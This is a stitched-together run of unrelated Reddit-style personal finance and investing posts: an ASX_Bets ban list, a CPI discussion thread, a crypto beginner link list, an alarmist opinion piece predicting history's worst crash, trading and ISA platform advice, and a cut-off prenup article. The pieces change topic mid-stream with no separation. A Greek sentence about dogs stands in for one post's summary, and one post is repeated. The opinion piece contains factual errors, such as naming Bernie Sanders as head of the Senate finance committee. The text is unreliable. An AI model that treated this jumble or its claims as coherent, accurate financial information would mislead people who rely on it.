[IVZ gamble](https://www.reddit.com/r/ASX_Bets/comments/ykuszp/comment/iuy12nv/?utm_source=share&utm_medium=web2x&context=3). That's a 2 month time out. + +&#x200B; + + \- [u/teeedubb](https://www.reddit.com/u/teeedubb/) says IVZ $1.50 [by Christmas](https://www.reddit.com/r/ASX_Bets/comments/yfgyzo/comment/iu3hthz/?utm_source=share&utm_medium=web2x&context=3) that's a 1-month ban. + +&#x200B; + +\- u/competitive_copy2451 has a Perma ban to look forward to. [also no tattoo](https://www.reddit.com/r/ASX_Bets/comments/yxjcec/comment/iwp5qap/?utm_source=share&utm_medium=web2x&context=3). + +&#x200B; + +\- u/UncleChunkz gets to have a [2 week holiday](https://www.reddit.com/r/ASX_Bets/comments/zfgtbm/comment/izc22g7/?utm_source=share&utm_medium=web2x&context=3). + +&#x200B; + +\- u/brettostevens will serve [a 2-month](https://www.reddit.com/r/ASX_Bets/comments/wqj27z/comment/ikpwfp6/?utm_source=share&utm_medium=web2x&context=3)[ ban](https://www.reddit.com/r/ASX_Bets/comments/wqj27z/comment/ikpwfp6/?utm_source=share&utm_medium=web2x&context=3). + +&#x200B; + +\- u/satansfriendlycat will take a week [for their bet](https://www.reddit.com/r/ASX_Bets/comments/yxjcec/comment/iwpjyeg/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- u/mechengguy93 took the [opposite side](https://www.reddit.com/r/ASX_Bets/comments/yxjcec/comment/iwppdck/?utm_source=share&utm_medium=web2x&context=3) and will serve a week. + +&#x200B; + +&#x200B; + +**Tick Tock** + +\- u/fameluck has lost their bet and owes us proof of this beautiful [concoction](https://www.reddit.com/r/ASX_Bets/comments/y3l4xe/comment/isaduz9/?utm_source=share&utm_medium=web2x&context=3) + +&#x200B; + +\- [u/retaw57](https://www.reddit.com/u/retaw57/) won their be so u/onthepunt has to [do a shoey](https://www.reddit.com/r/ASX_Bets/comments/u0flt5/comment/i45kh8s/?utm_source=share&utm_medium=web2x&context=3) or eat a weird pizza concoction. + +&#x200B; + +&#x200B; + +**TL;DR** + +Μια ολόκληρη νέα χρονιά για την απόκτηση νέων σκύλων +Please limit all discussions of the US November, 2022 CPI release to this thread. + +The latest CPI release can be found here: [Consumer Price Index Summary - Results (bls.gov)](https://www.bls.gov/news.release/cpi.nr0.htm) + +The latest CPI data tables can be found here: [Consumer Price Index - Results (bls.gov)](https://www.bls.gov/news.release/cpi.toc.htm) + +Expectations are as follows: + +CPI M/M + +* Previous: 0.4% +* Expected: 0.3% + +CPI Y/Y + +* Previous: 7.7% +* Expected: 7.3% + +Core CPI - Ex-Food & Energy M/M + +* Previous: 0.3% +* Expected: 0.4% + +Core CPI - Ex-Food & Energy Y/Y + +* Previous: 6.3% +* Expected: 6.1% + +Information about the CPI can be found at the Bureau of Labor Statistics here: [CPI Home : U.S. Bureau of Labor Statistics (bls.gov)](https://www.bls.gov/cpi/) + +Note that estimates are based on surveys and averaged from a range and may vary depending on source of survey. +How I did it: This time last year I bought Quickie Microfiber cloths, 3 packs at $10 per pack of 24. + +Instead of buying paper towels or napkins, I would use a microfiber wipe and toss in the laundry. + +To keep myself accountable, after I did towel laundry, I'd put $8 into a jar in the laundry room, which is what I spent every month on disposable paper goods in 2017. + +It wasn't much of a switch, and they work better than disposable products for cleaning. Havent needed to use as much cleaning products for cleaning while using these microfibers. So, yay. + +Get ... less-poor.... slowly! +* **1.9MM index funds (80\% VTSAX // 20\% VTIAX) in Taxable account-** I'd allocate some to bonds, but this is all in a taxable account and bond funds are tax inefficient. +* **700k Cash (Ally Savings)** \- Just sold my paid off house for a more location independent lifestyle. + +My job earns me $250k+, but I don't think this income lasts forever (probably the next 5-6 years if I keep grinding). I'm a commercial director (I make TV ads). It's about 6-7 months of work per year, so I have lots of time "off". I could theoretically fill this with the job of a real estate investor. + +I've read books about Multifamily and understand enough to know the returns can be phenomenal, but that's if you make this into a full time job (at least while you're acquiring and then a part time job if you set up property managers). Problem is, I'm pretty lazy and I like to be creative. I know I could excel at REI, but I feel like I could do the same if I became a Dentist/Lawyer/Engineer/Etc. I wouldn't want either of those jobs. No offense to those who are it's just not me! + +I like to make stuff. I want to explore standup comedy. I want to travel and live in a different place every few years. So, it seems like a no brainer that I should avoid REI. BUT, I am scared of not owning tangible assets if the world goes to shit. What would you do? Any real estate investors in here that can attest to creating a passive empire they can leave behind while they travel for years? + +***TLDR: I want to grow my money and live a comfortable life, but not setup a complex empire to beat out index returns. Any REIs with success stories of truly passive income and how much better are your returns than the 9\% average returns of the markets?*** +Hello fellow frienditors. + +##*This List Will Contain Some Of The Basics Fundamentals From Whole Subreddit.* + +From what I’ve read and seen here during my actuation, I’ve managed to dig deeper into the waters of this subreddit, so I can highlight you the most efficient and basic ones. I decided to make a decent comprehensive list about the most asked and frequently asked questions in this subreddit. I suggest you to use this list as a “*brain in your pocket*”. You can save this list and come back to it whenever you need to. + +I’ve managed to dig deeper into deep waters to collect as many helpful resources and threads as was possible that were posted here and got a decent positive responses, so you don’t have to waste your time finding them. I’ve collected a decent amount of all the frequently asked things in hundreds of posts but I will try to keep it simple and share here only ( *in my opinion* ) the most efficient ones. + +Bear in mind, that these topics can be outdated already and can vary in some aspects. It’s not sure that they are 100% accurate at present, but I will try to pick the best pieces. + +At the end of every topic, after my short introduction to these essentials in this thread, there will be very decent, helpful, informational, deeper links to posts that are describing the talking threads in depth. + + +###CRYPTOCURRENCY IN GENERAL + +If you’re here, you probably should already know what is cryptocurrency. If not, then here is the short simple answer: **Cryptocurrency** is a digital currency that can be used to buy services or goods. It can be used as a store of value. Cryptocurrencies are using strong ledger which is **securing** online transactions. This makes it literally nearly impossible, impenetrable to counterfeit. There are currently over 8.700~ cryptocurrencies listed on CoinMarketCap. + + +1. [For the newcomers: the top 50 Cryptocurrencies, each explained with one sentence.](https://www.reddit.com/r/CryptoCurrency/comments/lg1yhv/for_the_newcomers_the_top_50_cryptocurrencies/) - u/Layneeeee + +2. [Top 101 Coins Grouped by Usage/Purpose](https://www.reddit.com/r/CryptoCurrency/comments/lgeots/top_101_coins_grouped_by_usagepurpose/) - u/CrabCommander + +3. [Top 25 cryptocurrencies - 3 Pros, 3 Cons](https://www.reddit.com/r/CryptoCurrency/comments/lt2wyz/top_25_cryptocurrencies_3_pros_3_cons/) - u/pippius + +4. [Some interesting facts about the top 15 cryptocurrencies](https://www.reddit.com/r/CryptoCurrency/comments/lw9mds/some_interesting_facts_about_the_top_15/) - u/LivingThings37 + +5. [The ultimate guide to earning passive income with cryptocurrencies](https://www.reddit.com/r/CryptoCurrency/comments/lk2rtw/the_ultimate_guide_to_earning_passive_income_with/) - u/Weaver96 + + +###DYOR - Do Your Own Research + +**DYOR**. Yep, you probably saw this acronym many times in this subreddit. In short, “*DYOR*” (not Christian) means that you should never, never and never trust an any other company, people, project team or anyone else without proper verifying of the information that they provided for you. Always compare their suggests to your **OWN RESEARCHES**. + +*Nobody will tell you truly, how to get rich. They want to make rich off you !* + +1. [Beginners guide to researching crypto projects](https://www.reddit.com/r/CryptoCurrency/comments/lq8ja7/beginners_guide_to_researching_crypto_projects/) - u/cryptogrowth + +2. [How to Find Assets BEFORE They Are Popular](https://www.reddit.com/r/CryptoCurrency/comments/6whiyv/how_to_find_assets_before_they_are_popular/) - u/BTC2018 + +3. [A Guide On How To DYOR “Do Your Own Research” In An Effective Manner](https://www.reddit.com/r/CryptoCurrency/comments/lw80l9/a_guide_on_how_to_dyor_do_your_own_research_in_an/) - u/GoldenRain99 + +4. [To all the new folks getting into crypto: Do not, I repeat, do not buy on Robin Hood.](https://www.reddit.com/r/CryptoCurrency/comments/l7x3bi/to_all_the_new_folks_getting_into_crypto_do_not_i/) - u/wolfmangpuck + +5. [I created a tool to better understand market cap potential of alt coins, because I needed it myself for my research. Published it as a website for anyone to use. No ads, no BS.](https://www.reddit.com/r/CryptoCurrency/comments/ll4b4x/i_created_a_tool_to_better_understand_market_cap/) - u/lovinglyhandmade + +6. [A break down of the bull case for Ethereum and how it relates to Bitcoin](https://www.reddit.com/r/CryptoCurrency/comments/kzkdw4/a_break_down_of_the_bull_case_for_ethereum_and/) - u/TheWierdGuy + + 7. [Beginners Guide to DYOR (Do Your Own Research](https://www.reddit.com/r/CryptoCurrency/comments/lz1taw/a_beginners_guide_to_dyor_do_your_own_research/) - u/Weaver96 + +8. [Everyone talks about DYOR - How to DYOR](https://www.reddit.com/r/CryptoCurrency/comments/llehit/everyone_talks_about_dyor_how_to_dyor/) - u/calvintheidiot + + +###WALLETS + +A wallet is a important thing to own when you’re working with cryptocurrencies. A crypto wallet can be device, program or a service which is storing your **keys** or **seed**. These keys or seeds are being used to verify yours transactions in order to prevent someone else from using your cryptocurrencies. You can store in them your cryptocurrencies pretty much totally safely, or even your FIAT. + +1. [A Beginners Guide to Cryptocurrency Wallets](https://www.reddit.com/r/CryptoCurrency/comments/lkkm0v/a_beginners_guide_to_cryptocurrency_wallets/) - u/Weaver96 + +2. [Things you NEED to do when you first receive your hardware wallet](https://www.reddit.com/r/CryptoCurrency/comments/lkssul/things_you_need_to_do_when_you_first_receive_your/) - u/plokij24 + +3. [Ultimate Staking Guide 2021: Overview of Best Crypto-Projects to Stake with PoS and DPoS “Profitability, User Experience, Low-Risk](https://www.reddit.com/r/CryptoCurrency/comments/lwun4f/ultimate_staking_guide_2021_overview_of_best/) - u/icysx + +4. [CryptoWallets - Which one should you use](https://www.reddit.com/r/CryptoCurrency/comments/ld42yc/cryptowallets_which_one_should_you_use/) - u/good-as-helix + +###MOONS + +Our dear sweet MOONs. **MOONs** has been created as this /cc subreddit points and they can be used for **exchange** to FIAT or any other cryptocurrencies, buying Reddit premiums or even for tipping someone ! It can pay your bills too! [Reddit moons have paid for my bills two months in a row](https://www.reddit.com/r/CryptoCurrency/comments/lsijro/reddit_moons_have_paid_for_my_bills_two_months_in/) by u/AvidasOfficial . Or even they can pay your debt ! [I sold my 78k moons to pay off my debt!](https://www.reddit.com/r/CryptoCurrency/comments/l9dye7/i_sold_my_78k_moons_to_pay_off_my_debt_i_am_now/) by u/Wulkingdead . MOONs are practically community points what all of us can use, earn on this subreddit. You can buy them too! + +1. [The Great FAQ about Moons, Community Polls, Governance and more](https://www.reddit.com/r/CryptoCurrency/comments/lwsdbg/the_great_faq_about_moons_community_polls/) - u/DivineEu + +2. [Reddit MOON info for newcomers](https://www.reddit.com/r/CryptoCurrency/comments/l6m86i/reddit_moon_info_for_newcomers/) - u/nanooverbtc + +3. [Why MOONs are mooning, plus some resources](https://www.reddit.com/r/CryptoCurrency/comments/lb6dlc/why_moons_are_mooning_plus_some_resources/) - u/Larkinz + +4. [Question about MOONS? Did i missed the party?](https://www.reddit.com/r/CryptoCurrency/comments/l9qgrg/question_about_moons_did_i_miss_the_party/) - u/birolata + +5. [Full Guide to buying Reddit Moons on Honeyswap - Hopefully this saves people trouble going forward.](https://www.reddit.com/r/CryptoCurrency/comments/kpza3l/full_guide_to_buying_reddit_moons_on_honeyswap/) - u/LargeSnorlax + +###EXCHANGES + +Simply, Exchanges are Platforms. Platforms that we’re using every day to trade our cryptocurrencies for other assets, including either FIAT or digital currencies. They act as **intermediary** between the seller and the buyer. For this job, we’re paying them the transaction fees or commissions. + +1. [Robinhood blocked several stocks from being bought. They locked the buy button when it suited them. Don’t buy Bitcoin on RobinHood. The dust has settled, but we remember](https://www.reddit.com/r/CryptoCurrency/comments/lfrslo/reminder_robinhood_blocked_several_stocks_from/) - u/jackvilles + +2. [A beginners guide to limit orders, stop orders and stop limit orders](https://www.reddit.com/r/CryptoCurrency/comments/lolbo6/a_beginners_guide_to_limit_orders_stop_orders_and/) - u/pseudoHappyHippy + +3. [Be careful not to deposit your crypto into any exchange before seeing their KYC terms or else they may Freeze your withdrawal with excuses](https://www.reddit.com/r/CryptoCurrency/comments/iavk1y/be_careful_not_to_deposit_your_crypto_into_any/) - u/chilledmyspine + +4. [How and why exchanges are manipulating the price in order to capitalize on the new market dynamics](https://www.reddit.com/r/CryptoCurrency/comments/8aymhw/how_and_why_exchanges_are_manipulating_the_price/) - u/arsonbunny + +5. [A beginners Guide to Cryptocurrency Exchanges](https://www.reddit.com/r/CryptoCurrency/comments/ln00i5/a_beginners_guide_to_cryptocurrency_exchanges/) - u/Weaver96 + +###Dollar Cost Average (DCA) + +It is an investment strategy/technique in which an investor is spreading his crypto, stock or fund purchases. It’s a strategy where you’re buying at regular intervals ( weekly, monthly, every other week etc. ) with a roughly similar equal amounts of money. It aims to **reduce** the **volatility** and minimize **risk**. + +1. [Stop trying the market, DCA FTW](https://www.reddit.com/r/CryptoCurrency/comments/lvud78/stop_trying_to_time_the_market_dca_ftw/) - u/Nexul1 + +2. [“Buy The Dip” Isn’t Often What It Seems - Why Dollar Cost Averaging Can Be A Smarter Choice](https://www.reddit.com/r/CryptoCurrency/comments/lmgdc7/buy_the_dip_isnt_often_what_it_seems_why_dollar/) - u/calvintheidiot + +3. [Dollar Cost Average “DCA” spreadsheet to help with research, “mostly for newbies”](https://www.reddit.com/r/CryptoCurrency/comments/lrpqmk/dollar_cost_average_dca_spreadsheet_to_help_with/) - u/FrontHandNerd + +4. [If you’re young, then you should hodl, not trade](https://www.reddit.com/r/CryptoCurrency/comments/lgybyw/if_youre_young_then_you_should_hodl_not_trade/) - u/walkinthepark01 + +5. [Its not too expensive, and you’re not too late](https://www.reddit.com/r/CryptoCurrency/comments/lf0jf1/its_not_too_expensive_and_youre_not_too_late/) - u/Weaver96 + +6. [DCA - What is "Dollar Cost Averaging"? Why You Should DCA, What is my DCA strategy..](https://www.reddit.com/r/CryptoCurrency/comments/llsxv7/dca_what_is_dollar_cost_averaging_why_you_should/) - u/DivineEu + +###OTHER EDUCATIONAL THREADS + +1. [A collection off all the possible ways to earn free Crypto](https://www.reddit.com/r/CryptoCurrency/comments/llyq6e/a_collection_of_all_the_possible_ways_to_earn/) - u/Layneeeee + +2. [I will tell you exactly what is going on here, this is critical information to understand if you’re going to make money in this space. How prices work, and what moves them - and it’s not money invested/withdrawn](https://www.reddit.com/r/CryptoCurrency/comments/7vga1y/i_will_tell_you_exactly_what_is_going_on_here/) - u/Suuperdad ( 3 yrs old thread but still relevant ) + +3. [20% dip? Looks pretty normal to me](https://www.reddit.com/r/CryptoCurrency/comments/lqqc1q/20_dip_looks_pretty_normal_to_me/) - u/bose25 + +4. [How a became a millionaire using crypto technical analysis and here is a guide](https://www.reddit.com/r/CryptoCurrency/comments/lhia2b/how_a_became_a_millionaire_using_crypto_technical/) - u/steavus + +5. [Sell walls: What they are, what they do and how to spot them](https://www.reddit.com/r/CryptoCurrency/comments/7nqts3/sell_walls_what_they_are_what_they_do_and_how_to/) - u/Tilted_Till_Tuesday + +6. [Most used abbreviations in the cryptospace “newbie guide”](https://www.reddit.com/r/CryptoCurrency/comments/lxuvrz/most_used_abbreviations_in_the_cryptospace_newby/) - u/Jeremykla + +7. [FUD (fear, uncertainty, and doubt) for the top 20 coins and why you should be aware of it](https://www.reddit.com/r/CryptoCurrency/comments/lryocd/fud_fear_uncertainty_and_doubt_for_the_top_20/) - u/liau_ + +8. [Pump And Dump Schemes. What They Are, How To Avoid Them](https://www.reddit.com/r/CryptoCurrency/comments/lb4zsv/with_the_recent_influx_of_new_users_i_decided_to/) - u/Anhowa123 + + +**I would like to ask you kindly to suggest some more USEFUL** threads or links in the comment section below. + +##NOTE TO ALL : +**This Comprehensive List Of All The Basic Useful Threads** should only be used for an educational purposes **ONLY**. I am not forcing anyone to listen, read and use these posts for your present and future investments. In my opinion we should learn from them. Otherwise, use this list as a white paper/ starting point on your journey, not as your “get rich quick scheme” or “business plan”. + +*I am not a financial advisor. I am not taking any responsibility for the things that were showcased.* + + + +EDIT: *Thanks to all of you for hitting 1k upvotes milestone!!! Without your help it would not be possible to make this post visible for all the beginners or veterans!* + +EDIT 2: *I will eventually edit this post and add more and more useful threads to this post as the time will go on! If you have any ideas, suggests, recommendations, feel free to comment it down or write me a private message so we can help the others too!* + + +Frightened? You should be - the greatest financial crisis in history is coming COMMENT + +IN 2008, when the great financial crisis began, a cabal of global central bankers told the world: "Temporary one-off emergency measures are necessary to save capitalism" and "we will never repeat these measures". + +By MITCH FEIERSTEIN, WALL ST BANKER + +10:09, Thu, Sep 23, 2021 | UPDATED: 10:16, Thu, Sep 23, 2021 + + +Now, 13 years later, the coordinated central bank's "temporary emergency measures" are larger and have continued. Money printing from modern central banks (aka Modern Monetary Theory) has destroyed the price discovery mechanisms in markets. Despite this, the US Senate's finance committee head, Bernie Sanders, has embraced these insane policies. The central bankers over here, directed by Government policymakers have bailed out billionaires, not the High Street. + + + +Look at your own high street—small businesses and mum and dad shops are gone. Once again, after printing 100s of trillions of pounds and dollars, these same central bankers assure us "inflation is transitory". + + +Is this similar to temporary one-off emergency measures? + +On many of Britain's radio stations, we are frequently told of how “new wealth” may be created by investing in new financial products. All of the adverts end with this cautionary phrase: "Your Capital Is At Risk." + + +When the share, property, fixed income, and credit markets reach a point of exhaustion, they “bubble” to extreme valuations. + +Today, we are at that breaking point: living on borrowed time in a fantasy world, detached from reality with ludicrous valuations. + + + +During the irrational exuberance of bubbles, the retail investors are always the last to dive into markets as they peak while institutions and executives are dumping shares. + +Frightened? You should be. + +Here's why: In times of extreme economic uncertainty, most people go for the wow stories or the “shiny object” being dangled in front of their noses. Everyone is getting rich from investing in the markets—we are missing out, quick buy, buy, buy! The acronym for this market mania is FOMO (the Fear of Missing Out), and it signals a market extreme. + + + +But it is different this time. Why? Because of inflation. + +Global food and commodity prices are exploding. Shipping rates have sky-rocketed nearly 1,400 percent since 2016, as seen in the Baltic Dry Index. Since last November, oil prices have increased 100 percent. And of course gas is going through the roof. + +Over the decades, governments have outsourced most manufacturing to China, making China the world's biggest manufacturer for the 11th straight year. + +In March 2020, I warned that COVID-19 would decimate supply chains and how the West's overreliance on China for critical infrastructure and medical supplies would cause massive shortages. + + +Today, global supply chains are broken. + +Crippling inflation has arrived, and the value of fiat currencies will collapse further as governments print more to "inflate out of their debt". + +Bond defaults on some of the over $11 Trillion in corporate debt and bankruptcies will spark a liquidity crisis resulting in a “domino effect” causing history’s most severe economic depression. + +Millions of employees at leveraged zombie corporations sustained by these NIRP (negative interest rate policies) will become unemployed. + +At the same time, those in the executive suite will have made billions from cannibalising future profits with Ponzified share buyback schemes. + +We must all be suffering from Stockholm syndrome for falling for the same lies from leaders time and time again. China's Evergrande is the tip of the iceberg; a major crash is coming, creating a massive opportunity for a few, a disaster for most, and higher taxes for everyone. +The prospect of an impending German recession jumped on Friday after the country published its worst industrial production figures since January 2009. + +Data released on Friday showed that German industrial production fell for the fifth time in the last seven months, dropping by almost 7% on the year. Exports have also barely grown in the month of December, up by just 0.1% month-on-month. The recent figures add to the ongoing pressure facing Europe’s largest economy. Yesterday, official figures showed German factory orders contracted 2.1% month-on-month. + +“I am pessimistic about the German outlook because Germany could experience something like the perfect storm,” Marcel Fratzscher, President of the DIW (German Institute for Economic Research), told CNBC’s Squawk Box Europe Friday. + +He said that there are “so many risks,” such as global trade slowdown, the coronavirus, geopolitical conflicts, a weak financial sector in Europe and Brexit, that the German government must take immediate action. + +Continue reading: https://www.cnbc.com/2020/02/07/germany-recession-fears-grow-as-insdutrial-data-disappoints.html +Dig through my history. This isn't a self-therapy post after a down week. I've been doing this for a long time. + +The reason people fail at this is that their opening trades are way too big for their accounts. And when they are wrong, they are set-back so far that after a string of losing trades, they simply cannot afford to continue. + +Let's say I have $1,000,000 in my account. Each trade I open up is rarely above $30,000 to $50,000 dollars or 3% to 5%. And on a $30,000 to $50,000 trade, I'm perfectly happy if I make around $3,000 to $5,000 per trade for the WEEK or even BIWEEKLY! Now that does not seem particularly impressive but if I make 6 trades and 3 of them swing the right way, while the 3 others don't, it's still a pretty good week in terms of absolute dollars. On the 3 where I am wrong, I exit at -3% no matter what happens. This ensures that wins on average are at least 3x bigger than my losses. Also, I only actively trade 15% - 20% of my account. Profits from trades go into long-term positions that I never sell and only add to. + + Now let's say you start with $20,000. This means each trade should really only be about $1,000. So you're thinking, "What? I can't make a living day trading generating a $100 a week per trade on a good week!!" + +No. You can't and you shouldn't. This is why folks should not quit their day job to do this. I didn't quit my day job to do this until 10 years after I started doing this. And here's why. + +The professional trader and fund managers are not intrinsically smarter than you. They traditionally had more timely information. That gap has been narrowed with the internet. Where professionals and funds beat you is scale. Here's an exaggerated example. If I can buy 100,000 shares and you can only buy 100, and both of us need $50 today to pay bills, I have virtually no risk whereas you need to hope for a 50% daily return. Most traders who do this at home for income do not make a huge amount of money. I certainly don't. But a large account built over time allows the trader to risk less and less to maintain the same income year over year. Huge funds make shit trades every day. But each trade is less than a fraction of 1% of their book. So stop beating yourself up. The reason you're not doing well is your account is simply too small and you're relying way too much on luck. It takes time and dedication to accumulate enough money. Stop telling yourself you should be further ahead as that thinking will kill you. A lot of you literally started a few months ago. Sometimes you'll have windfalls. Most of the time, trading is boring as shit. + +So don't feel bad if you're not getting it right away. You have to tune out the posts where you see people posting wins and losses as that will get you to start gambling instead of trading. A lot of you folks are not 'bad' at this. For some reason, you've just assumed you were 'good' without enough evidence. + +Also, I'm not particularly stoic or emotionless on big wins and losses. The long-term positions in my account all got hammered these last few weeks. I will still get pumped or upset and I share with a trading buddy. Find yourself a trading buddy. + +TLDR because I am apparently not clear: don't feel bad if you're not successful yet. You need to get to a decent account size before this starts to click. + +Edit: you guys are nuts and maybe I'm to blame. I said here is an example. I even explicitly say I lose half the time. What on earth did I say that implies I'm a trillionaire?! + +Edit: I used perfectly round numbers for examples. Come on man. The message is you're struggling because you don't have scale not "I'm a superstar." In addition, I didn't start from zero and never implied that I did. + +Edit: Holy crap, I even said 'lets say I had..." to start the example. The message is about scale and needing time to accumulate. What on earth are you reading that I'm not seeing? Y'all need to chill out. Does it make you feel better to hear me say I also lost a bunch of money on paper this week as well? + +Edit: never said I was good at stock picking. The only thing I will take credit for is limiting losses. +https://www.streetinsider.com/dr/news.php?id=16480016&gfv=1 + + + +Some highlights: + + +Raised Stakes 💹💹💹 +General Motors (NYSE: GM) raised from 72,269,696 shares to 75,000,000 shares + +Liberty SiriusXM Group (NASDAQ: LSXMA) raised from 14,860,360 shares to 31,090,985 shares + +Occidental Petroleum (NYSE: OXY) raised from 7,467,508 shares to 18,933,054 shares + +RESTORATION HARDWARE HOLDINGS, Inc. (NYSE: RH) raised from 1,207,844 shares to 1,708,348 shares + +SUNCOR ENERGY, Inc. (NYSE: SU) raised from 10,758,000 shares to 15,019,031 shares + + + +Lowered Stakes 📉📉📉📉〽️ +AMERICAN AIRLINES (NASDAQ: AAL) lowered from 43,700,000 shares to 42,500,000 shares + +Apple Inc. (NASDAQ: AAPL) lowered from 248,838,679 shares to 245,155,566 shares + +Bank of America Corp (NYSE: BAC) lowered from 927,248,600 shares to 925,008,600 shares + +Bank of New York (NYSE: BK) lowered from 80,937,250 shares to 79,765,057 shares + +Goldman Sachs Group (NYSE: GS) lowered from 18,353,635 shares to 12,004,751 shares + +Phillips 66 (NYSE: PSX) lowered from 5,182,637 shares to 227,436 shares + +The Travelers Companies Inc. (NYSE: TRV) lowered from 5,958,391 shares to 312,379 shares + +Wells Fargo (NYSE: WFC) lowered from 378,369,018 shares to 323,212,918 shares + + +New stake in Biogen and massive new stake in Kroger +Back around 4 months ago, when it first became available to trade reddit moons on Honeyswap, I sold my 88,000 moons at the time for around 0.92 BTC ($9100 USD). + +I was elated at that number, since I had been dollar cost averaging nano for 3 years and made more money from shitposting than I had made from DCAing Nano (I was still in the negative with Nano at the time I sold my moons) + +See following meme for reference around the time I sold my moons for BTC. + +https://www.reddit.com/r/CryptoCurrency/comments/j1j32a/tfw_you_finally_make_money_from_rcryptocurrency/?utm_medium=android_app&utm_source=share + +Well, now not only has Nano skyrocketed in price, but the BTC I got from my reddit moons is now around $47,200 at a price of $51,300 USD per BTC. + +What a wild 4 months it's been since then. I wish you all good luck and a prosperous 2021 bull run. We're all gonna make it. +Remember to be kind but firm. Nobody likes an asshole. My service is through WOW! internet and cable. Few years back I dated a girl who worked for Time Warner. On our first date she +told me they do the same thing when you ask to leave. My mom has kept the same rate for XM radio for years doing this. Hope this helps. +Use this thread to share your portfolio, purchases, sales, ideas, concerns, and anything else! + +This thread is also for asking questions about which is the best broker for you, which broker offers \[feature\] and other basic questions about platforms and their functionality. +I'm genuinely curious to hear from people who are invested in tobacco Stocks and what is your view point on future performance. +To me I don't see a future for any tobacco companies and the majority haven't been quick enough to make a big impact in the vaping space which is now flooded with multiple brands all selling more or less the same thing. +Hi fellow traders, + +&#x200B; + +I have been investing consistently in index funds for a while but want to invest in some penny stocks that I feel have a high chance of booming in the future. I am aware they are not a guarantee, but I want to invest early and understand the risk. However, I signed up with DeGiro and they didn't have all the stocks I wanted to purchase. + +&#x200B; + +Does anybody know of a website that tells you which trading apps offer the stock you want? + +&#x200B; + +Thank you! +**Purpose:** To find best and cheapest S&S ISA platform with an option to buy stocks (probably DIY) + +I am using Vanguard for a few years but it hurts that they don't' have an option to buy stocks. Because of that I am missing out on a major chunk of money I could have saved (Tax limit of 20k) + +So I have gone through a few of the major platforms and their fee structure and wanted to share with you all my findings. + +Here are the ones I have used: + +* **Vanguard** + Fees: \~£48 for £10k (.15% account fee + Total Costs for 2 ETF I chose *FTSE 100* (.25%) + *LifeStrategy 60%* (.41%)) + Pros: + * Good for beginner, invest and forget strategy (setup a monthly order and good to go)\*\*\*\* + * No checkout fee + * Nice user friendly interface +Cons: + * No option to buy stocks + * one time fee of 7.5£ if you want to buy instant order (otherwise bulk order executes at 3pm which is free) + * Has very few of the ETF (only vanguard ones) + +* **Trading 212** + Fees: **NA** + Pros: + * Really good interface, easy to get around as a beginner + * No fees at all (expect FX charge of .5%) + * T212 ISA has loads of ETF, shares to trade. + * Invest and forget works great here too with T212 "pies". +Cons: + * Recent *GME* incident gave us all a bit dicey feeling about T212. They just blocked the transactions. + * Platform is consistently down during market opening hours. It shouldn't be a deal breaker if looking for a long term investment + * The whole "**no fee**" brings more doubt than satisfaction considering every other platform is charging hefty amounts of money. + * Poor customer service as mentioned over reddit (I haven't tried myself) + +&#x200B; + +* **FreeTrade** + Fees: 36£ (FX charge of .5%) + Pros + * Has a lot of ETF, shares to trade (consistently adding them over time but still good number) + * No checkout fee +Cons: + * Crappy interface, they don't have a web application yet. + * Using advanced features like stop-order requires further charges. + +&#x200B; + +And here are the rest of the platforms I found over the internet which I haven't used yet: + +&#x200B; + +* **AJ Bell YouInvest** + Fees: 0.25% £0-£250k + charge per deal + * Dealing fee: £9.95 for shares/ETF and £1.5 for funds + * Shares custody charge: 0.25% maximum £3.50 per month + * General Div reinvestment: 1% of the dividend value with a £1.50 min and £9.95 max + * Transfer out: £25 per line of stock + +* **Hargreaves Lansdown** + Fees: 0.45% annual fee + charge per deal + * Dealing fee: First 9 trades at £11.95, next 10 at £8.95, and after that £5.95 + * General Div reinvestment: 1% of the trade value (capped at £10) + * FX charge: First £5k at 1%, next £5k at 0.75%, next £10k at 0.50%, Over £20k at 0.25% + +&#x200B; + +* **Interactive Investor** + Fees: £120 Investor Plan (£168 Funds Fan, £240 Super Investor) + * Plus one free trade a month and commission-free regular investing + * Dealing Fee: £0 - £7.99 (Plan + frequency dependent) + * General Div reinvestment: £0.99 + * FX charge: 1.50% + +&#x200B; + +* **iWeb** (operated by Halifax Share Dealing) + * £100 fee one-off (No annual administration charges) + * Dealing fee: £5 per trade + * FX charge: 1.50% + * No mobile app + +&#x200B; + +There are few other platform out there like Nutmeg, OpenMoney, Wealthify but I will not go with them as I think you can trade shares over there. + +What platform do you all use? \*would be nice to know why as well :) + +[View Poll](https://www.reddit.com/poll/lal6xn) +E.g. if you owned monzo shares or were a series A investor, how do you sell them when the company goes public? You can't just 'upload' them to trading212 I assume? + +Edit: title should say \*bought\* not but +Thanks to /u/DearTereza for their efforts before automoderator got involved. + +Use this thread to share your portfolio, purchases, sales, ideas, concerns, and anything else! + +24M. Already own some stocks in the FTSE 100. + +New to investing in funds though and wanted to shove some money in monthly and was wondering which would be best for me out of the two. I’m guessing it depends on if I’d want to focus on America or the global economy, they both appear to have performed well (though I know this doesn’t mean much for what could happen in the future). + +Does it matter that I might be investing in the S&P 500 using GBP? Sorry if that’s a dumb question. + +EDIT: or would it be worth going 50/50 on both? +After having read through Hedgefundie's excellent adventure ( [https://www.bogleheads.org/forum/viewtopic.php?t=272007](https://www.bogleheads.org/forum/viewtopic.php?t=272007) ) which talks through the use of 3x leveraged ETF's as an investment strategy to grow faster than the standard index whilst also avoiding a total crush in a recession by using a 40/60 split of UPRO and TMF I thought I would look into how I could use this strategy in the UK. + +I thought I would have a look to see if this was feasible as a UK investor but as the ETF regulations have changed I can no longer find these ETF's on DeGiro, the closest I can find is 3TYL (although this uses 10 yr not 20) and 3USL. + +I am wondering if anyone here has used this strategy and knows of a broker offering more similar ETF's to those mentioned in the forum post? Or if the ones I mentioned would be suitable anyway? +Sorry this is delayed, I was on vacation. + +As usual share your portfolio for this week below. + +Thanks to everybody who is contributing to these threads. +I'm genuinely curious to hear from people who are invested in tobacco Stocks and what is your view point on future performance. +To me I don't see a future for any tobacco companies and the majority haven't been quick enough to make a big impact in the vaping space which is now flooded with multiple brands all selling more or less the same thing. +Interesting [nytimes article on the rise of the prenup](https://www.nytimes.com/2018/07/06/smarter-living/millennial-prenup-weddings-money.html?rref=collection%2Fsectioncollection%2Fsmarter-living&action=click&contentCollection=smarter-living&region=rank&module=package&version=highlights&contentPlacement=1&pgtype=sectionfront) with the millennial generation: + +> Prenuptial agreements, commonly known as prenups, are legal documents that outline how engaged couples will divide their assets if they divorce. And, in recent years, more millennials have been requesting them, according to a survey of matrimonial lawyers. +> +> One likely reason: Millennials are marrying later than 